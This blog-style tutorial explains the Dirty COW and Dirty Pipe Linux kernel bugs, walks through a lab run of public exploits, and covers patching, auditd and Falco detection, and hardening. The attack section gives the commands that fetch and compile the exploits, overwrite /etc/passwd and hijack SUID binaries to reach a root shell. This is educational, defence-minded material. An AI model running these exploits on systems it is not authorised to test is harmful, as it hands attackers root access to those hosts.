Legal & Ethical Disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively on systems you own or are explicitly permitted to test (your own lab, a CTF, or an engagement with written scope). Kernel exploitation can crash hosts and corrupt data. Unauthorized use is illegal in most jurisdictions.
Introduction / Overview
Two of the most famous Linux privilege-escalation primitives both abuse the same subsystem — the memory-management layer that backs copy-on-write (COW) — yet they arrive almost six years apart and exploit completely different code paths.
- Dirty COW (CVE-2016-5195) is a race condition in how the kernel handled COW of private, read-only memory mappings. It let an unprivileged user write to files they should only be able to read.
- Dirty Pipe (CVE-2022-0847) is a flaw in the pipe/
splicemachinery introduced in kernel 5.8 that let an unprivileged user overwrite data in arbitrary read-only files via the page cache.
Both result in the same prize: write access to files you only have read access to (/etc/passwd, a SUID binary, etc.), which is trivially turned into root. This post explains the mechanics accurately, walks through working PoCs in a lab, and — with equal weight — covers the blue-team side: patch levels, detection, and hardening.
If you are building a privesc methodology, pair this with my notes on Linux enumeration for privilege escalation and SUID and capabilities abuse.
How it works / Background
Copy-on-write in 60 seconds
When you mmap() a file MAP_PRIVATE, the kernel maps the file's pages from the page cache directly into your address space, read-only. As long as you only read, no copy is made. The moment you write, a page fault triggers COW: the kernel copies the shared page into a fresh, private, anonymous page and redirects your mapping to that copy. Your writes never touch the original file. That invariant is what both bugs break.
Dirty COW (CVE-2016-5195)
Dirty COW is a time-of-check / time-of-use race. The classic exploit maps a read-only file MAP_PRIVATE and uses /proc/self/mem to write into it. Two threads race:
- One thread repeatedly calls
madvise(MADV_DONTNEED)on the mapping, telling the kernel to drop the private copy. - The other thread repeatedly writes via
/proc/self/mem, which walks the page tables withget_user_pages()usingFOLL_WRITE.
If madvise discards the COW copy at exactly the right moment, the write lands on the original page-cache page instead of the private copy. The page is "dirty" but mapped to a file you only had read access to — hence dirty COW. The fix added a FOLL_COW flag so the kernel no longer loses track of whether a real COW copy was made.
Dirty Pipe (CVE-2022-0847)
Dirty Pipe is simpler and arguably more dangerous (no race to win). Linux pipes are backed by ring-buffer pipe_buffer structs that reference page-cache pages. A 2016 refactor of the splice() page-cache path left the pipe_buffer.flags field uninitialized in some cases. The flag PIPE_BUF_FLAG_CAN_MERGE tells the kernel a buffer can be appended to.
The exploit:
- Create a pipe and fully fill it, then drain it — this leaves stale
pipe_bufferstructs withPIPE_BUF_FLAG_CAN_MERGEset. splice()one byte from the target file into the pipe. This points apipe_bufferat a read-only page-cache page.write()to the pipe. Because the staleCAN_MERGEflag is set, the kernel appends the data directly into the page-cache page of the target file.
You can overwrite any file you can open read-only, with two caveats: you cannot change the file size, and you cannot overwrite the first byte (offset 0) of a page boundary. Both are easily worked around.
Prerequisites / Lab setup
Spin up disposable VMs — never test on shared infrastructure. Vulnerable kernel ranges:
- Dirty COW: Linux < 4.8.3 (and stable backports). Try Ubuntu 16.04 with an unpatched 4.4 kernel.
- Dirty Pipe: Linux 5.8 ≤ x < 5.16.11 / 5.15.25 / 5.10.102. Ubuntu 21.10 (kernel 5.13) is a good target.
# Identify the kernel and distro from a low-priv shell
uname -a
cat /etc/os-release
# Quick automated triage
./linpeas.sh | grep -iE "dirty|CVE-2016-5195|CVE-2022-0847"BashAttack walkthrough / PoC
Dirty Pipe (CVE-2022-0847)
The cleanest PoC is Max Kellermann's original dirtypipe-helper, which hijacks a SUID-root binary by patching the page cache. A more convenient variant overwrites /etc/passwd.
# Fetch a known PoC (in your lab only)
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.shBashMethod 1 — backup, modify, restore root password hash:
# exploit-1 rewrites the root entry in /etc/passwd, gives you a root shell,
# then restores the original on exit.
./exploit-1
# After it runs:
id
# uid=0(root) gid=0(root) groups=0(root)BashMethod 2 — hijack a SUID binary (stealthier, no on-disk file change persists):
# Find a SUID binary owned by root
find / -perm -4000 -user root 2>/dev/null
# exploit-2 injects a payload into the chosen SUID binary's page cache
./exploit-2 /usr/bin/suBashUnder the hood the helper does exactly the three steps above: prime the pipe, splice() from the read-only SUID binary, then write() shellcode that the kernel happily merges into the cached page. Because the change lives in the page cache (not on disk), it executes the next time the binary runs.
Dirty COW (CVE-2016-5195)
The canonical PoC dirtyc0w.c overwrites a read-only file. The cleaner privesc route is dirtycow-mem.c / the dirtycow PTRACE_POKEDATA variant, but the classic file-overwrite of /etc/passwd is easiest to demonstrate.
git clone https://github.com/dirtycow/dirtycow.github.io
gcc -pthread dirtyc0w.c -o dirtyc0w
# Overwrite a string in a root-owned, read-only test file
echo "this is not a test" | sudo tee foo # setup in lab
ls -l foo # owned by root, you have read only
./dirtyc0w foo "m00000000000000000"
cat foo # contents changed despite no write permsBashFor a full shell, the widely used c0w / pokemon.c variant adds a fake line to /etc/passwd:
gcc -pthread c0w.c -o c0w
./c0w # backs up a SUID binary, replaces it with a root shell payload
# follow the on-screen instructions, then run the hijacked binaryBashAlways restore the original file/binary after testing to keep the box usable.
Mermaid diagram

Diagram: from a low-privilege shell, kernel version selects Dirty Pipe (splice + page-cache merge) or Dirty COW (madvise race), both ending in a page-cache overwrite of a privileged file and a root shell.
Detection & Defense (Blue Team)
Mitigation matters more than the exploit. Treat both as MITRE ATT&CK T1068 — Exploitation for Privilege Escalation.
1. Patch — the only real fix. Both bugs are upstream-fixed:
# Confirm you are above the fixed versions
uname -r
# Dirty Pipe fixed in 5.16.11, 5.15.25, 5.10.102 (and distro backports)
# Dirty COW fixed in 4.8.3 / backported to 3.x and 4.x stable
apt list --installed 2>/dev/null | grep linux-image # Debian/Ubuntu
rpm -q kernel # RHEL/CentOSBashReboot after the kernel update — a patched package on disk does nothing until the new kernel is running (needs-restarting -r on RHEL flags this).
2. Reduce the attack surface.
- Minimize SUID binaries:
find / -perm -4000 -type f 2>/dev/nulland remove what you do not need. Both exploits favor SUID hijacking. - Mount sensitive partitions
nosuidwhere possible. - Restrict
ptraceand/proc/<pid>/memaccess withkernel.yama.ptrace_scope=2— this raises the bar for Dirty COW's/proc/self/memwrite path.
3. Detection / monitoring. Deploy auditd or Falco to catch the behavioral signatures:
# auditd: flag writes to /etc/passwd and reads of SUID binaries
auditctl -w /etc/passwd -p wa -k passwd_tamper
auditctl -a always,exit -F arch=b64 -S splice -F key=splice_callsBashA Falco rule for Dirty Pipe watches for unexpected splice() followed by writes against SUID/system binaries; for Dirty COW, watch for madvise(MADV_DONTNEED) paired with /proc/self/mem writes from non-privileged processes. File-integrity monitoring (AIDE, Tripwire) catches on-disk overwrites of /etc/passwd, but note Dirty Pipe's page-cache hijack of a binary may not change the on-disk hash — pair FIM with runtime EDR.
4. Defense in depth. SELinux/AppArmor will not stop a kernel-level memory write, but they constrain what a hijacked process can do afterward. Keep kernel.unprivileged_userns_clone=0 to shrink the broader local-exploit surface.
Conclusion
Dirty COW and Dirty Pipe are a masterclass in how a single buggy invariant in the memory-management layer — "writes to a read-only mapping never touch the original page" — becomes instant root. Dirty COW won a race; Dirty Pipe skipped the race entirely thanks to an uninitialized flag. For attackers they are reliable, well-documented privesc primitives; for defenders the lesson is blunt: keep kernels patched and rebooted, minimize SUID surface, and instrument syscalls. Everything else is a speed bump.
References
- MITRE ATT&CK — T1068: Exploitation for Privilege Escalation — https://attack.mitre.org/techniques/T1068/
- Dirty Pipe original advisory (Max Kellermann) — https://dirtypipe.cm4all.com/
- Dirty COW project page — https://dirtycow.ninja/
- NVD CVE-2016-5195 — https://nvd.nist.gov/vuln/detail/CVE-2016-5195
- NVD CVE-2022-0847 — https://nvd.nist.gov/vuln/detail/CVE-2022-0847
- HackTricks — Linux Privilege Escalation — https://book.hacktricks.xyz/linux-hardening/privilege-escalation



Comments